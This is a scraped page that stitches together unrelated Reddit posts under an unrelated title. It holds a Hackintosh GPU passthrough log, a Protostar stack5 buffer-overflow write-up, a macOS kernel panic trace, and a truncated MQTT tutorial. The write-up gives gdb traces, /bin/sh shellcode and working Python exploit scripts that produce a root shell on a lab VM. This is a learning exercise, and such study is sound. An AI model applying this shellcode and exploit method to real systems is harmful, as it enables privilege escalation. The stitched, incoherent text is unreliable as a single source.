c - How Do I present address 0x80 to 1<<31 in Binary

Catalina with Broadwell GVT-g on Linux [Take 2]

Catalina with Broadwell GVT-g on Linux [Take 2]
Hello again, Reddit!
We're back!
Life took over and high school didn't get any easier. My apologies for the 9 month delay in this promised continued attempt from the previous post: https://www.reddit.com/hackintosh/comments/c0nrc8/catalina_with_broadwell_gvtg_in_linux/
This is going to be a long post, as this project has had several incarnations and lots of people wondering about it. I will be reaching out to as many of you as possible now that the coronavirus has given me several weeks out of physical school.
Table of Contents
  1. Current Hardware/Software
  2. Modification attempts so far
  3. Details on current issues/failures
  4. Addressing 9 months worth of community backlog
  5. Plan for getting this to work
I. Current Hardware/Software configs
TL;DR: 1) Linux 5.6-rc7 WITH patch, 2) qemu 4.2.0, 3) Ubuntu 20.04 dev branch
I am still using OSX-KVM's basic setup, including their prebuilt clover and some inspiration from their ng boot script.
Time went on and I'm still with the same MacBookAir7,2 but now on Ubuntu 20.04 (focal) dev branch. I also have a clean 10.15.3 install (working and booting) along with a custom compiled 5.6-rc7 kernel WITH the following patch for edid on BDW host:
https://lists.freedesktop.org/archives/intel-gvt-dev/2019-Decembe006185.html
I have a custom compiled qemu-4.2.0 for the latest possible code. I'm sure it's been updated since I compiled it about 2 months ago and am working on updating it.
My boot config to facilitate debugging:
boot-args= -v amfi_get_out_of_my_way=0x1 serial=1 intcoproc_unrestricted=1 amfi_allow_any_signature=1 amfi_unrestrict_task_for_pid=1 PE_i_can_has_debugger=1
csr_active_config=0x80 (new value that unrestricts everything)
edid: I used https://edid.tv/edid/98/. Just download the binary and xxd -p it into the Clover Configurator CustomEDID blank. You can use any edid like this. You can also just use my config.plist from the drive folder; it has this already set.
If you'd like the full configs I'm using, please see the following google drive folder:
https://drive.google.com/drive/folders/1C4g2QxRB59biBb9qtx7hpVPZgQHttXOk?usp=sharing
If you're going to use the scripts I made, you'll need to edit:
make_vfio.sh: the chown line; replace with your user
qemu-install2.sh: drives, vfio path (if not using mine), net config (if not using mine)
net_kholia.sh: the tunctl command, replace my username with yours
II. Modification attempts so far
Clover: Right now, I have an ig-platform-id=0x16260006 to match my real macbook air. I also have set InjectIntel=true which seems to fix the new error: "[IGPU] Graphics driver failed to load: could not register with Framebuffer driver!".
Linux GVTg KERNEL: The edid BDW enablement patch is ONE of the two options for enabling QE/CI on the macOS accelerator kext. The other is a VM-side patch, possibly a binpatch or a clover EDID injection. I tried both; neither currently works.
Linux GVTg USERSPACE: No patches. I have a custom compiled, but vanilla, qemu 4.2.0.
macOS: no binpatches. It seems the kernel panic trigger that had to be binpatched in the past no longer exists, or perhaps the code has been rewritten internally. Reverse-engineering BDWGraphics to find out what is and isn't happening is definitely something to look to in the near future. It is possible that this was fixed by kvm.ignore_msrs=1 boot-arg, this linux arg also allows for non-penryn cpus to be used (I am using -cpu host in my qemu script).

III. Details on current issues/failures
  1. Current status: macOS booting with BDW kexts loaded but no display detected and possible BDW kext self-disabling.

https://preview.redd.it/3znp89wdano41.png?width=1280&format=png&auto=webp&s=4f008f37a44707dc1da28a628066be7698cb5093
qemu log shows: qemu-system-x86_64: vfio_pci_write_config(a297db4a-f4c2-11e6-90f6-d3b88d6c9525, 0x4, 0x900417, 0x4) failed: Bad address
This, along with the fact that the earlier kernel panic no longer occurs, AND the lack of BDW messages printed to kernel log, leads me to believe that somewhere in the BDW binary there is some logic failure. I may be wrong though:
Something seems to have changed, or it may just be me now with the MSR's being ignored having fixed the original panic that still could occur. Either way, there's no way to be sure if clover CustomEDID is working or not. It didn't work last time when the BDW kexts definitively did load and we saw printf's of it doing loading routines. There's a lot of uncertainty as I only just got this up and running today.
2) Kernel EDID patch: This came out around December and I'm very naive for not realizing I could've made this patch myself. It simply removed the Skylake/Kabylake platform detection logic and makes the edid function work on all platforms. Regardless, with the patch, a kernel oops occurs on the function intel_vgpu_reg_rw_edid in drivers/drm/i915/kvmgt.c. It is a null pointer dereference, working on getting the kprintf from it. This is a current area of attention. It may be because I'm using xres=1280 yres=800 on a GVT with maxres 1024x768, I'll work on using the 1920x1200 one instead and seeing if it still crashes.
The commit log for the patch from the intel guy said that all platforms should support the edid region. If anyone could test EDID on an "officially" supported platform, either Skylake or Kabylake, and see if you get the same oops with 5.6-rc7, please do so. If it just oopses on all platforms due to a regression, I may be able to compile a different kernel that doesn't cause a dereference. If Broadwell really doesn't support the EDID region when forced to, then this may be a blocking issue for the whole project (I don't possess any later hardware). WORKING ON THIS RIGHT NOW
IV. Addressing 9 months worth of community backlog
I don't want to be the kid whining about high school. I generally do very well, but it definitely takes some effort being at a infamously-academically difficult private school in the Orlando area. Now that we're "off" for several weeks, I'm prepared to dedicate a lot of time to getting this furthered.
amorooc ct_the_man_doll I saw your thread here: https://www.reddit.com/VFIO/comments/a2bnv3/state_of_gvtg_macos_support/
Please let me know all your questions! I will be active on reddit through the next several weeks. Have y'all been doing GVT-g since then?
TheRacerMaster I'd love to hear your thoughts. Have you been in the GVT-g scene since the High Sierra attempt? Contact me if you'd like to work on this privately; otherwise this post should be good to document progress for everyone.
spicypixel I saw your comment on the original Catalina attempt, as of now it is no longer abandoned!
davidgarazaz lilolalu please take a look here!
TrashConvo it's working but no display yet. I have screensharing on and using that to force using the BDW (-vga none).
/u/WesolyKubeczek you have the most promising story. I may be able to get there if I can get BDW edid working (not supported by a simple logic fail on kvmgt.c). Please tell us about if you ever got anywhere further?
8700t I'm curious: what binpatches with lilu? How did your demo work?
sobe3249 yes, I have the same vfio invalid issue. Currently investigating. Help would be appreciated!


If there's anyone I've missed, I didn't forget about you. This project has definitely grown further than I ever expected it to, beyond a weekend attempt. I'm crossposting this to several subreddits to make sure everyone who I wasn't able to get to in 9 months has a chance to participate in some real progress once more.
Thank you all! Looking forward to hearing from all of you.
V. Plan for getting this to work.
  1. Kernel EDID oops: working on this. If I can get this to work, then we may be a step away from QE/CI as the drivers seem to load?
  2. BDWGraphics: there are no longer any printfs and a weird pci invalid region. Any thoughts on this? No kernel panic anymore, it's likely due to the msr's being ignored with boot-arg. But there's no [IGPU] init printfs anymore. That worries me, though it could just be a code rewrite by Apple/Intel.
  3. Qemu: currently working on the crash connected to the edid patch.
Theoretically, all we need to get working is an EDID injection. It could be in Clover, another bootloader, or in the linux kernel vfio itself. Perhaps that new hip bootloader that everyone's suddenly using would be worth trying if it has edid patching functionality? I have no idea what it is besides that its called OpenCore or something like that.
submitted by newhacker1746 to hackintosh [link] [comments]

Protostar stack5 shellcode not working in the buffer (outside is ok)

Protostar Stack5 buffer overflow (32 bits shellcode)
I got a strange behaviour (strange maybe not BUT that I could not explain :-)
When I put the shellcode inside the buffer it does not work but when outside all is working fine.
It's protostart stack5 binary in it's original VM (constructed from Iso on linux 32 bits) so I would not give further info on the binary itself (stack is executable, ASLR is off, ....)
Let me explain and let's go with gdb !

Finding the buffer overflow
gdb$ disass _start Dump of assembler code for function _start: 0x08048310 <_start+0>: xor ebp,ebp 0x08048312 <_start+2>: pop esi 0x08048313 <_start+3>: mov ecx,esp 0x08048315 <_start+5>: and esp,0xfffffff0 0x08048318 <_start+8>: push eax 0x08048319 <_start+9>: push esp 0x0804831a <_start+10>: push edx 0x0804831b <_start+11>: push 0x80483e0 0x08048320 <_start+16>: push 0x80483f0 0x08048325 <_start+21>: push ecx 0x08048326 <_start+22>: push esi 0x08048327 <_start+23>: push 0x80483c4 # Real Entry point 0x0804832c <_start+28>: call 0x80482f8 <[email protected]> 0x08048331 <_start+33>: hlt 0x08048332 <_start+34>: nop 0x08048333 <_start+35>: nop (....) 
let's disass main
gdb$ disass main Dump of assembler code for function main: 0x080483c4 : push ebp # Prologue... 0x080483c5 : mov ebp,esp # ... 0x080483c7 : and esp,0xfffffff0 # ... adress alignement 0x080483ca : sub esp,0x50 # ... reserve space on stack 0x080483cd : lea eax,[esp+0x10] # adress start of buffer 0x080483d1 : mov DWORD PTR [esp],eax # put the arg on the stack 0x080483d4 : call 0x80482e8 [email protected] # call to gets (char*) 0x080483d9 : leave 0x080483da : ret End of assembler dump. 
Let's retrieve EBP adress and value:
gdb$ x/wx $ebp 0xbffff7b8: 0xbffff838 

Let's retrieve EIP address and it's value
gdb$ x/wx $ebp+0x4 0xbffff7bc: 0xb7eadc76 
Let's check EIP return adress to be sure we're fine:
gdb$ x/5i 0xb7eadc76 0xb7eadc76 <__libc_start_main+230>: mov DWORD PTR [esp],eax 0xb7eadc79 <__libc_start_main+233>: call 0xb7ec60c0 <*__GI_exit> 0xb7eadc7e <__libc_start_main+238>: xor ecx,ecx 0xb7eadc80 <__libc_start_main+240>: jmp 0xb7eadbc0 <__libc_start_main+48> 0xb7eadc85 <__libc_start_main+245>: mov eax,DWORD PTR [ebx+0x37d4] 
Good ! It's back on __libc_start_main.

Let's get the buffer (gets) start adress :
p/x $esp+0x10 $1 = 0xbffff770 

Write the most important values for our exploitation:
---Reminder------------------------------------------------------- RET EBP : 0xbffff7b8: 0xbffff838 RET EIP : 0xbffff7bc: 0xb7eadc76 buffer start adress: 0xbffff770 ----------------------------------------------------------------- 
Let's do some computation to overwrite EIP
# EIP's address - buffer's address # gdb$ p/d 0xbffff7bc - 0xbffff770 # $1 = 0x76 
We need 76 bytes then we can start to overwrite EIP ( + 4 byte for EIP )
python -c 'print "A"*72 + "BBBB" + "CCCC"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC 
A is Padding B is EBP C is EIP

Let's try our buffer overflow !
./stack5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC dmesg [50576.044013] stack5[13898]: segfault at 43434343 ip 43434343 sp bffff7e0 error 4 
EIP has been overwritten and it is working fine (43 in ASCII => 'C') !

Shellcode Exploitation
We will use a well known and working shellcode :
https://security.stackexchange.com/questions/73878/program-exiting-after-executing-int-0x80-instruction-when-running-shellcode
shellcode is 58 bytes. We will construct our payload like that:
5 (NOP) + 58 (Shellcode) + 9 (PADDING-NOP) + 4 (EBP) + 4 (EIP) = 76 + 4 EIP bytes as computed 
Important : here I put the shellcode IN the buffer
r <<< $(python -c 'print "\x90"*5 + "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*9 + "\x38\xf8\xff\xbf" + "\x70\xf7\xff\xbf"') 
\x38\xf8\xff\xbf = EBP original adress = 0xbffff838
\x70\xf7\xff\xbf = overwritten EIP= buffer start adress = 0xbffff770

In GDB break juste before the ret instruction and check esp to be sure it will jump where we want
gdb$ x/wx $esp 0xbffff7bc: 0xbffff770 
Well this good for the next eip adress ! check to see if our shellcode is always there
x/30i 0xbffff770 0xbffff770: nop 0xbffff771: nop 0xbffff772: nop 0xbffff773: nop 0xbffff774: nop 0xbffff775: add esp,0x10 0xbffff778: xor eax,eax 0xbffff77a: xor ebx,ebx 0xbffff77c: mov al,0x6 0xbffff77e: int 0x80 0xbffff780: push ebx 0xbffff781: push 0x7974742f 0xbffff786: push 0x7665642f 0xbffff78b: mov ebx,esp 0xbffff78d: xor ecx,ecx 0xbffff78f: mov cx,0x2712 0xbffff793: mov al,0x5 0xbffff795: int 0x80 0xbffff797: xor eax,eax 0xbffff799: push eax 0xbffff79a: push 0x68732f2f 0xbffff79f: push 0x6e69622f 0xbffff7a4: mov ebx,esp 0xbffff7a6: push eax 0xbffff7a7: push ebx 0xbffff7a8: mov ecx,esp 0xbffff7aa: cdq 0xbffff7ab: mov al,0xb 0xbffff7ad: int 0x80 0xbffff7af: nop 
On GDB Perfect it is working !
gdb$ c Executing new program: /bin/dash $ 
out of GDB it is NOT working anymore:
same payload than in gdb
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*9 + '\x38\xf8\xff\xbf' + '\x70\xf7\xff\xbf')";) | ./stack5 
or (overwrite EBP)
(python -c "import sys; sys.stdout.write('\x90'*5 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + '\x90'*13 + '\x70\xf7\xff\xbf')";) | ./stack5 
The only thing I get : Illegal instruction! Here a strace if it can help ...
execve("./stack5", ["./stack5"], [/* 16 vars */]) = 0 brk(0) = 0x804a000 fcntl64(0, F_GETFD) = 0 fcntl64(1, F_GETFD) = 0 fcntl64(2, F_GETFD) = 0 access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=13796, ...}) = 0 mmap2(NULL, 13796, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fdc000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320m\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1319176, ...}) = 0 mmap2(NULL, 1329480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e97000 mprotect(0xb7fd5000, 4096, PROT_NONE) = 0 mmap2(0xb7fd6000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x13e) = 0xb7fd6000 mmap2(0xb7fd9000, 10568, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd9000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e96000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e966c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xb7fd6000, 8192, PROT_READ) = 0 mprotect(0xb7ffe000, 4096, PROT_READ) = 0 munmap(0xb7fdc000, 13796) = 0 fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000 read(0, "\220\220\220\220\220\203\304\0201\3001\333\260\6\315\200Sh/ttyh/dev\211\3431\311f"..., 4096) = 80 read(0, "", 4096) = 0 --- SIGILL (Illegal instruction) @ 0 (0) --- +++ killed by SIGILL +++ Illegal instruction 
Questions / Others informations
I know there could be some adress change caused by ENVs vars but I do not think that is the problem... but I have no evidence.

Just for the exemple Shellcode After EIP (outside the buffer) : everything is OK
[email protected]:/opt/protostabin$ (python -c "import sys; sys.stdout.write('\x90'*76 + '\xc0\xf7\xff\xbf' + '90'*10 + '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')";) | ./stack5 # whoami root 

EDIT :
I add python script exploit for reference :

Shellcode inside the buffer (not working)
import struct totalpad = 76 # Total bytes needed to start overwriting EIP NOP = "\x90" * 5 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" EIP = struct.pack("I", 0xbffff770) nbpad = totalpad - len(NOP) - len(shellcode) PAD = 'A' * nbpad print NOP + shellcode + PAD + EIP 
Shellcode outside the buffer (working good)
import struct NOP1 = "\x90" * 76 EIP = struct.pack("I", 0xbffff7c0) NOP2 = "\x90" * 10 shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" print NOP1 + EIP + NOP2 + shellcode 
EDIT : shellcode inside the buffer is now working :-)
When executing outside gdb and attaching to the process I see that the start of the buffer is located at another memory adress.
So instead of hardcoding EIP start of buffer I use a register to jump to.
Hopefully there is one that hold the good adress: eax
Here is the working exploit of Shellcode inside the buffer:
import struct totalpad = 76 # Total bytes needed to start overwriting EIP # Little NOP Slide NOP = "\x90" * 2 # Shellcode maintaing / reopening stdin (for gets exploitation) shellcode = "\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # Buffer start adress is 0xbfff770 but to hardcode adress is unreliable # EIP = struct.pack("I", 0xbffff770) # We will use a register to jump on the start of the buffer # We know debugging the program that eax contain the adress we want # We look with objdump -D stack5 -M intel | grep call | grep eax # 80483bf: ff d0 call eax # 804846b: ff d0 call eax # We have to adress that will call eax so that can trigger our exploit ! # EIP will call the adress that will "call eax" EIP = struct.pack("I", 0x80483bf) # We let EBP option either to rewrite trash or to use its original adress EBP = struct.pack("I", 0xbfff7b8) #EBP = "BBBB" nbpad = totalpad - len(NOP) - len(shellcode) - len(EBP) PAD = 'A' * nbpad # our payload print NOP + shellcode + PAD + EBP + EIP 
Usage :
$ python /home/usepython_exploits/stack5_inside_buffer.py | /opt/protostabin/stack5 # whoami root 
Stéphane
submitted by tequilaweb81 to LiveOverflow [link] [comments]

OpenCore KP (sleep?) on Haswell System (z87)

New to OpenCore but most mornings i awake to my computer sleeping but booted to windows. MacOS 10.15 is my daily driver so I'm getting a Kernel panic at some point and the system is rebooting to windows. (which means that it is also clearing my NVRAM since Windows is option 1 in OC and Catalina is option 2). You can see my config file here:
https://www.insanelymac.com/forum/topic/338516-opencore-discussion/?page=130&tab=comments#comment-2709364

System:
GA-z87x-UD5H, 4770k, nVidia 780 (using Mac drivers).

Any ideas?

panic(cpu 3 caller 0xffffff7f87fde306): NVRM[0/1:0:0]: Read Error 0x00070000: CFG 0x100410de 0x00100000 0x00000000, BAR0 0xf5000000 0xffffff81fe1d1000 0x0f0040a1, D3, P0/4 Backtrace (CPU 3), Frame : Return Address 0xffffff92105baea0 : 0xffffff800713bb2b mach_kernel : _handle_debugger_trap + 0x47b 0xffffff92105baef0 : 0xffffff80072734d5 mach_kernel : _kdp_i386_trap + 0x155 0xffffff92105baf30 : 0xffffff8007264f4e mach_kernel : _kernel_trap + 0x4ee 0xffffff92105baf80 : 0xffffff80070e2a40 mach_kernel : _return_from_trap + 0xe0 0xffffff92105bafa0 : 0xffffff800713b217 mach_kernel : _DebuggerTrapWithState + 0x17 0xffffff92105bb0a0 : 0xffffff800713b5fb mach_kernel : _panic_trap_to_debugger + 0x21b 0xffffff92105bb0f0 : 0xffffff80078d2aa9 mach_kernel : _panic + 0x61 0xffffff92105bb160 : 0xffffff7f87fde306 com.apple.nvidia.driver.NVDAResman : _osReadRegistryBinary + 0x470 0xffffff92105bb1e0 : 0xffffff7f880ab11b com.apple.nvidia.driver.NVDAResman : _gpuExecRegOps + 0xd386 0xffffff92105bb240 : 0xffffff7f8a315dea com.apple.nvidia.driver.NVDAGK100Hal : __ZN12NVDAGK100HAL5probeEP9IOServicePi + 0x1d880 0xffffff92105bb290 : 0xffffff7f8a315d13 com.apple.nvidia.driver.NVDAGK100Hal : __ZN12NVDAGK100HAL5probeEP9IOServicePi + 0x1d7a9 0xffffff92105bb2d0 : 0xffffff7f87fc4e11 com.apple.nvidia.driver.NVDAResman : _rmGenerateSha256Gid + 0x72c5 0xffffff92105bb370 : 0xffffff7f880c5280 com.apple.nvidia.driver.NVDAResman : _vpHalIfacesSetup_VGPUSTUB + 0x51cd 0xffffff92105bb3d0 : 0xffffff7f87fad4b7 com.apple.nvidia.driver.NVDAResman : _nvErrorLog_va + 0x6c2d 0xffffff92105bb470 : 0xffffff7f87fa5370 com.apple.nvidia.driver.NVDAResman : _rmFreeInternal + 0x12c 0xffffff92105bb4d0 : 0xffffff7f87fa53df com.apple.nvidia.driver.NVDAResman : _rmFreeInternal + 0x19b 0xffffff92105bb500 : 0xffffff7f87fa2b72 com.apple.nvidia.driver.NVDAResman : _osReadRegistryString + 0x75f 0xffffff92105bb5a0 : 0xffffff7f87fe2b1c com.apple.nvidia.driver.NVDAResman : _insert_registration_func + 0x1308 0xffffff92105bb720 : 0xffffff7f87fe358d com.apple.nvidia.driver.NVDAResman : _NvRmFree + 0x66 0xffffff92105bb810 : 0xffffff7f8848898e com.apple.GeForce : __ZN8nvMemory14DestroySurfaceEP16__GLNVsurfaceRec + 0x70 0xffffff92105bb860 : 0xffffff7f884569ab com.apple.GeForce : __ZN15nvBaseAllocator24DestroySingleEmptyBufferEP19__GLNVallocatorHeapP28__GLNVallocatorBufferListRech + 0xf3 0xffffff92105bb890 : 0xffffff7f884580c2 com.apple.GeForce : __ZN15nvBaseAllocator4FreeEP21nvAllocatorAllocation + 0x56 0xffffff92105bb8c0 : 0xffffff7f88458d0c com.apple.GeForce : __ZN11nvAllocator11FreeVirtualEP21nvAllocatorAllocation + 0x4a 0xffffff92105bb8e0 : 0xffffff7f884ad473 com.apple.GeForce : __ZN16nvVirtualAddress4freeEv + 0x3d 0xffffff92105bb900 : 0xffffff7f8844e0a0 com.apple.GeForce : __ZN11nvMemoryMap21freeGPUVirtualAddressEv + 0x66 0xffffff92105bb920 : 0xffffff7f883bdf18 com.apple.iokit.IOAcceleratorFamily2 : __ZNK16IOAccelMemoryMap7releaseEv + 0x8e 0xffffff92105bb940 : 0xffffff7f883a6218 com.apple.iokit.IOAcceleratorFamily2 : __ZN11IOAccelTask23prune_orphaned_mappingsEv + 0x6c 0xffffff92105bb980 : 0xffffff7f883713e5 com.apple.iokit.IOAcceleratorFamily2 : __ZN13IOAccelMemory19createMappingInTaskEP11IOAccelTaskj + 0x1bb 0xffffff92105bb9c0 : 0xffffff7f884a11fa com.apple.GeForce : __ZN11nvSysMemory19createMappingInTaskEP11IOAccelTaskj + 0x1a 0xffffff92105bb9f0 : 0xffffff7f883949bb com.apple.iokit.IOAcceleratorFamily2 : __ZN16IOAccelResource23mapEv + 0x183 0xffffff92105bba30 : 0xffffff7f883996fa com.apple.iokit.IOAcceleratorFamily2 : __ZN24IOAccelSharedUserClient212new_resourceEP22IOAccelNewResourceArgsP28IOAccelNewResourceReturnDatayPj + 0x904 0xffffff92105bba80 : 0xffffff7f8839aee9 com.apple.iokit.IOAcceleratorFamily2 : __ZN24IOAccelSharedUserClient214s_new_resourceEPS_PvP25IOExternalMethodArguments + 0x97 0xffffff92105bbac0 : 0xffffff800786739b mach_kernel : __ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x1db 0xffffff92105bbb10 : 0xffffff7f8839b0e2 com.apple.iokit.IOAcceleratorFamily2 : __ZN24IOAccelSharedUserClient214externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x80 0xffffff92105bbb60 : 0xffffff8007870443 mach_kernel : _is_io_connect_method + 0x223 0xffffff92105bbca0 : 0xffffff8007222d12 mach_kernel : _iokit_server_routine + 0x4e62 0xffffff92105bbdb0 : 0xffffff80071419d8 mach_kernel : _ipc_kobject_server + 0x238 0xffffff92105bbe10 : 0xffffff8007118635 mach_kernel : _ipc_kmsg_send + 0x135 0xffffff92105bbe70 : 0xffffff800712f0e5 mach_kernel : _mach_msg_overwrite_trap + 0x2e5 0xffffff92105bbf00 : 0xffffff800724b575 mach_kernel : _mach_call_munger64 + 0x205 0xffffff92105bbfa0 : 0xffffff80070e3226 mach_kernel : _hndl_mach_scall64 + 0x16 Kernel Extensions in backtrace: com.apple.nvidia.driver.NVDAResman(14.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f87f71000->0xffffff7f88248fff dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 dependency: com.apple.iokit.IONDRVSupport(569.4)[EACCC42A-9D18-383E-BF13-51910962371C]@0xffffff7f87f55000 dependency: com.apple.iokit.IOGraphicsFamily(569.4)[1F9B5D88-52DB-3A16-8373-4F608A3CB2D8]@0xffffff7f87ef6000 dependency: com.apple.AppleGraphicsDeviceControl(4.7.2)[2F63196D-03C6-3E49-BE5D-574F4AADED1A]@0xffffff7f87f65000 com.apple.nvidia.driver.NVDAGK100Hal(14.0)[D9BD5415-852D-3F99-B5D9-9E4FD7CABEEC]@0xffffff7f8a2f7000->0xffffff7f8a4a2fff dependency: com.apple.nvidia.driver.NVDAResman(14.0.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f87f71000 dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 com.apple.iokit.IOAcceleratorFamily2(438.3.1)[66992525-3204-3CB0-8F03-4B70031B1CF2]@0xffffff7f8836f000->0xffffff7f88432fff dependency: com.apple.driver.AppleMobileFileIntegrity(1.0.5)[A243D030-19AC-30AA-AC70-6C786DF9E6CE]@0xffffff7f88345000 dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 dependency: com.apple.iokit.IOSurface(269.6)[42377B3B-D14A-368E-820F-07E7EA666198]@0xffffff7f87ec5000 dependency: com.apple.iokit.IOGraphicsFamily(569.4)[1F9B5D88-52DB-3A16-8373-4F608A3CB2D8]@0xffffff7f87ef6000 dependency: com.apple.iokit.IOReportFamily(47)[988360A2-2E10-3014-A119-BE81BC045A10]@0xffffff7f88368000 com.apple.GeForce(14.0)[4CC8D53A-2090-3437-99E7-AA7D85AB765C]@0xffffff7f88447000->0xffffff7f88523fff dependency: com.apple.iokit.IOPCIFamily(2.9)[ADD485B5-3EF8-37C4-B3C5-F86326E497A4]@0xffffff7f87b2f000 dependency: com.apple.iokit.IOSurface(269.6)[42377B3B-D14A-368E-820F-07E7EA666198]@0xffffff7f87ec5000 dependency: com.apple.iokit.IONDRVSupport(569.4)[EACCC42A-9D18-383E-BF13-51910962371C]@0xffffff7f87f55000 dependency: com.apple.nvidia.driver.NVDAResman(14.0.0)[ECB33CB3-2FE3-3E99-A4E6-ED7C5DA6D543]@0xffffff7f87f71000 dependency: com.apple.iokit.IOGraphicsFamily(569.4)[1F9B5D88-52DB-3A16-8373-4F608A3CB2D8]@0xffffff7f87ef6000 dependency: com.apple.iokit.IOAcceleratorFamily2(438.3.1)[66992525-3204-3CB0-8F03-4B70031B1CF2]@0xffffff7f8836f000 BSD process name corresponding to current thread: WindowServer Boot args: keepsyms=1 Mac OS version: 19D76 Kernel version: Darwin Kernel Version 19.3.0: Thu Jan 9 20:58:23 PST 2020; root:xnu-6153.81.5~1/RELEASE_X86_64 Kernel UUID: Kernel slide: 0x0000000006e00000 Kernel text base: 0xffffff8007000000 __HIB text base: 0xffffff8006f00000 System model name: iMac14,2 (Mac-27ADBXXXXXXXXXXXXXX) System shutdown begun: NO Panic diags file available: YES (0x0) System uptime in nanoseconds: 29872005688305 
submitted by Flyinace2000 to hackintosh [link] [comments]

How to use MQTT packet to implement publish and subscribe functions

How to use MQTT packet to implement publish and subscribe functions
The MQTT protocol communicates by exchanging predefined MQTT control packets. We will take MQTTX as an example to show how to implement the publish and subscribe function through MQTT packets.

Connect

MQTT protocol is based on the TCP / IP protocol. Both the MQTT Broker and the Client need a TCP / IP address.

Broker


https://preview.redd.it/v9qbuy7evdj41.png?width=2050&format=png&auto=webp&s=dbaab27a06de41db61dcb0aca168cfd6f9ffa564
If you don't have an available MQTT broker for the time being, **EMQ X**provides a public broker address for testing: broker.emqx.io: 1883 .

Client


https://preview.redd.it/f64a74wfvdj41.png?width=2050&format=png&auto=webp&s=ecd816203e26a04b5d4172ecdf6e33f3e65d5013
The configuration of the Client in the MQTTX tool is actually the configuration of the Connect packets in the MQTT protocol. The following explains the related configuration items:

Client ID

The server uses the ClientId to identify the client. Each client that connects to the server has a unique ClientId. Both the client and server must use the ClientId to identify the status related to the MQTT session between them.
The ClientId must exist, but the server can allow the client to provide a zero-byte ClientId. If this is done, the server must treat this as a special case and assign a unique ClientId to that client. Then, it can process this CONNECT packet normally.

